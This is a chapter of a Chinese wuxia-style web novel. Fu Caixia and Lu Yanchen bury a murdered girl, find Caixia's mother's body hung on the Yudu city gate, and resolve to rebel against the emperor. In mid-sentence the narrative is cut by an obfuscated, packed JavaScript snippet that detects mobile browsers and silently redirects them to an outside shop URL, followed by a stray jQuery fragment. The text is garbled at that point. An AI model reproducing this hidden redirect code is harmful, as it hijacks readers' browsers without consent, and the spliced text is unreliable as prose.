1
她捡起寒梅剑,看着躺在地上血流不止的老汉。又从钱袋子中掏出了几颗碎银,扔到了他的身上。
一剑挑翻了那口大锅,肉已经煮得有些烂了。他们忍着恶心取了行囊中的一件旧粗布衣,将锅中那小女儿的肉倒在衣物上,拎了筐中的另外半边尸体,上了风扬县的一处荒山,将她的尸体葬在了此处。
看着隆起的土堆,不知如今这世道,究竟该去埋怨谁呢?
做完一切,两人身心俱疲,眼看天色已晚,心中的事情压着他们,今日累得再也走不动了。便在这荒山中,寻了一处僻静处,靠着大树,浅浅歇了一晚。
自从葬了那女儿,两人都没再开口说话了。他们心意互通,静等着天明。
次日,两人提‘寒梅’、‘守心’下山,不再去看这人间疾苦,出了风扬县,县碑高门旁的死人坑中多了两具熟悉的尸体。
是昨天那个廊桥下的女人和她的孩子。两人顿时觉得天旋地转,头皮发麻。
拔剑问了收尸人,才知道他们身上的钱和干饼被旁人看到了。一帮人与她争抢,她们拼命地护着这些。可他们一个是瘦骨嶙峋,即将饿死冻死的女人和一个手无缚鸡之力的小孩儿,就这样被打死了,那些人得了钱,倒也不稀罕再吃他们的肉了。
“呵呵”傅彩霞苦笑,“那你说这钱是救了她还是害死了她呢。”
她越笑越大声,越笑越悲凉。
“霞儿。”陆砚尘轻唤。
傅彩霞的脸本就白皙,如今面色更是苍白,她对着陆砚尘一笑:“哥,我没事,我们回愉都。”
陆砚尘张了张口,实在不知该说些什么,便没在开口说话。
两人出了风扬县,取了马儿,再次策马上路,这一次,与出了香泥山不同了。不是为了自己的雄心大志,当真是为了天下皆安呐。
两人都不言语,牢牢地抓着缰绳,马儿越跑越快。
“驾!”傅彩霞跑在前头,陆砚尘跟在后头。她的衣摆随风飘着,墨色的头发裹着长长的红发带,随着马儿驰骋带起的风缠绕飘荡着。
一路上,两人话很少,尽量不做歇息,一刻也不想停留。
半月,两人终于到了愉都。卖了马,打算入愉都城,刚到城门口,便见到城门上挂着一个女人。
两人眯着眼睛往上望去,待到看清了城墙上的人,傅彩霞猛地坐到了地上,双手不住地发抖。陆砚尘也顿时觉得喘不上气,胃里一股热气翻腾,难以忍受,慌忙地转身找了个墙角,大口大口地吐了。
那城墙上挂着的是顾汀兰!是傅彩霞的娘亲!
想起道长临别前说的那句:”褚小者不可以以怀大,绠短者不可以以汲深。”
她苦笑一声,喉间像是被什么堵住了,极力地想咽唾液都咽不下去。她闭了闭眼,师父,师父早就算到了。怪不得,怪不得他要为我们二人取字,他早就知道,他早就知道了,我见不到娘亲了。
“霞儿。”陆砚尘握了握手中的守心剑,“我去将夫人抢过来。”
他作势要走,傅彩霞忍住满眶的泪水,“哥,你忘了临行前师父说什么了吗?”
陆砚尘喘不过气:“霞儿。”
“走吧,我们进城。”傅彩霞的脸上不见一丝血色,好似一个行尸走肉一般。
陆砚尘双手发狠,指甲深深地嵌入手心,掐出血来。
两人忍着痛进了城,放眼愉都,与从前大不相同,少了炊烟味儿,少了人情味儿。青楼酒馆林立,满城的淫-荡味儿。
“这,这是怎么回事?”陆砚尘瞪大了眼睛。傅彩霞也不可置信自己看到了什么。
自从香泥山下山以来,途径的地方,历经的种种,都在她们的心中形成了极大的落差,一道冲击接着一道冲击,真要将人掏空了。
走至熟悉的傅府,走进自己的家,不敢想里面会是一幅怎样的景象。
刚进门,就被家仆拦住了:“什么人?”
是啊,四年过去,他们都已经拔高了身量,一身的粗布衣,满手的茧子,早已看不出是当初的千金小姐,富家少爷。
“我是”她顿了顿,看向那个家仆,“傅彩霞。”
家仆仔细打量,发现竟然真的是自家小姐,少爷,一时间竟激动得有些欲哭无泪,慌慌忙忙地跑入了府宅大院。
“小姐回来了,砚尘少爷也回来了。”
“小姐,砚尘少爷回来了。”
家仆,奴婢都纷纷感动围了过来。
小核儿听到消息更是连跑带爬地跑过来,哭得梨花带雨:
“小姐,少爷。”
跌倒了也接着跑,瞧见眼前的两人也是怔愣了一下。
确认了眼前人真的是小姐后扑到了她的怀里。
“小姐,小姐,我好想你啊。”
傅彩霞轻抚她的头:“爹呢?”
小核儿松开手站好:“小姐,老爷他……夫人……”
她支支吾吾的,不知该从何说起。
“嗯,我知道。”她眼神空洞地看着小核儿,“爹呢?”
“老爷在……在卧房。”
“叫人散了吧。我去看看爹。”傅彩霞麻木说道。
“嗯,嗯”小核儿哭着点头。
“哥,走吧。”傅彩霞转头对陆砚尘道。
“嗯。”
两人并肩走近傅诩瑾的卧房,推开门,满屋子的酒味。映入眼帘的便是一个头发散乱,泪痕斑斑,衣衫不整的中年男人,脸上的胡茬已经茂密,沧桑得不可辨认。他坐在地上,斜靠着床榻,身边的酒坛子倒了一地。
傅彩霞硬生生地将自己的一口唾液咽了下去,愣在了原地。
“老爷。”陆砚尘蹲下身,拿下他手中的酒坛子,轻唤道。
傅诩瑾麻木地转过头来看他:“你是,尘儿?”
“是,是——”他带着哭腔点头。
“你们怎么回来了,走吧,走吧,离开愉都,离开愉都去。”傅诩瑾风干的泪上又划过新泪。
“爹……”傅彩霞也俯下身来跪在傅诩瑾身旁。
“霞儿,霞儿,走啊,离开愉都。”傅诩瑾哭出声来。
“爹,我娘她,究竟发生了何事?”
傅诩瑾悲痛苦笑:“前段日子,皇宫封贵妃诞下皇子,于两日前举行百日宴,你娘是郡主,自然也受邀入宫。可当日宫中就传来了消息。说……”
傅诩瑾更加悲痛,有些说不出话。
“老爷……”陆砚尘脑补到后面事情也哽咽起来。
“说你娘她,她爬上了龙床。”
“什么?!”二人瞳孔一震。
“当日百日宴,皇上正好在封贵妃宫中,他们说宫中皆在吃喜宴时,独独你娘离了席,躺上了封贵妃的床,而那时躺在床榻上的正是皇上。”
傅彩霞闻言,手指紧了紧:“是皇上,是皇上设计陷害的!”
“宫中的消息说,皇上深知臣子之妻不可欺,便下令拿下你娘。当时你娘为了自证清白,便撞柱自尽了。皇上几年只诞下一个皇子,一个死人,顶撞了皇上,又冲了皇子的喜,他便下旨叫你娘挂在城楼上七天七夜。”
说到此处傅诩瑾已经哭得失声,脸上涨得通红,剧烈地咳嗽着。五脏六腑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138586|138367||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都要咳出来。
傅彩霞已经麻木,就快感觉不到痛了,她平静问道:“爹,愉都那些青楼酒馆是怎么回事?”
傅诩瑾苦笑:“你们走后没多久,皇上亲自将青楼纳入了皇家产业。他切断了农业用钱,批了大量的钱财用来经营青楼产业。”
“什么?!”两人听得脑子一黑又一黑。一个泱泱大国,将青楼产业划为国家经营?皇上是昏庸还是疯了?!
愉都这么多官员,竟没有一个人能拦得住皇上吗?霍祈安在做什么?这么多年他在做什么?
“相国一病不起,怕是也没有多长的光景了。”傅诩瑾又苦涩道,“霞儿,尘儿,盛乐国,要亡了,走吧,走吧。”
傅彩霞的手再次紧紧地握了握:“爹,我们反吧,为了娘,为了黎民百姓。”
“不要去。”傅诩瑾终于从颓败中再生出一丝担忧,“皇上跟先皇是一类人,心狠手辣,不似表面看起来那般荒淫,他是个有手段的,不要去,不要去。”
“爹,事到如今,活着和死了又有何分别呢。”傅彩霞连泪都没有了,淡淡的说了一句。
“老爷,再信我们一次吧。”陆砚尘也道。
傅诩瑾这才打量起他们身上的穿着和手中握着的剑:“霞儿,尘儿,你们……”
“老爷,我们如今早已不是当初离家时的雏鸟了。”
傅诩瑾眼里又浸了泪,这么多年,孩子们这是受了多少罪。
“你们要我做什么?”他问道。
傅彩霞抿了抿唇,看着他道:“爹,振作起来吧。去户部,将重要的账本全都带回来,凭着官印调些银子出来。一切处理妥善后,将卖身契发下去。明日便到到平城去,去咱们的庄子,等着我,等我将娘带回来。”
傅诩瑾听着她的安排冷了神。
“老爷,我们会安全带夫人回平城的。”
“好……”
本就什么都没了,他还在怕什么?他自己的孩子自己了解,话说到此处,还阻止什么呢?
他起身,了奴婢丫头进来重新梳洗更衣,便按照计划去了户部。
傅彩霞二人则去了左太尉府上。如今二人衣着朴素,样貌也不大相同,愉都能认出他们的也不剩几个了,倒也不担心在街上行走。
拿着傅府的腰牌进了左太尉府上,婢女家仆没有认出他们,便将他们请到了客厅,去通传顾初尧。
不多久,顾初尧来到客厅,脸上也挂着沧桑,眼圈也肿得像个灯泡。
进门来,顾初尧打量了他们良久,还以为是哪个贫苦人家登门拜议,后知后觉才认出他们二人:“霞儿,尘儿。”
他轻唤。
“舅舅。”傅彩霞对着顾初尧跪下,陆砚尘也跟着跪下。
“你们,你们怎么回来了?怎么这副打扮?”顾初尧的视线落在两人的手上,顿时眼中泛起了泪,“孩子,这四年到底经历了什么?”
傅彩霞也对着他泛泪苦笑道:“拜了个厉害的师父,学了一身的本事。”
顾初尧连忙上前扶起二人,两人却都不愿起身。
“孩子,你们这是做什么?”
“舅舅,帮我吧。”傅彩霞恳求道。
顾初尧闻言一愣:“舅舅怎会不帮你,起来说话,孩子。”
“舅舅,我要反,我要皇帝的命。”她语气坚定恳诚。
顾初尧闻言,停在半空中的手一顿:“孩子,你在说什么?”
“我要反,我要兵,舅舅,求你助我。”傅彩霞俯身给顾初尧磕头。
顾初尧回了回神,错愕的看向傅彩霞:“为你娘吗?”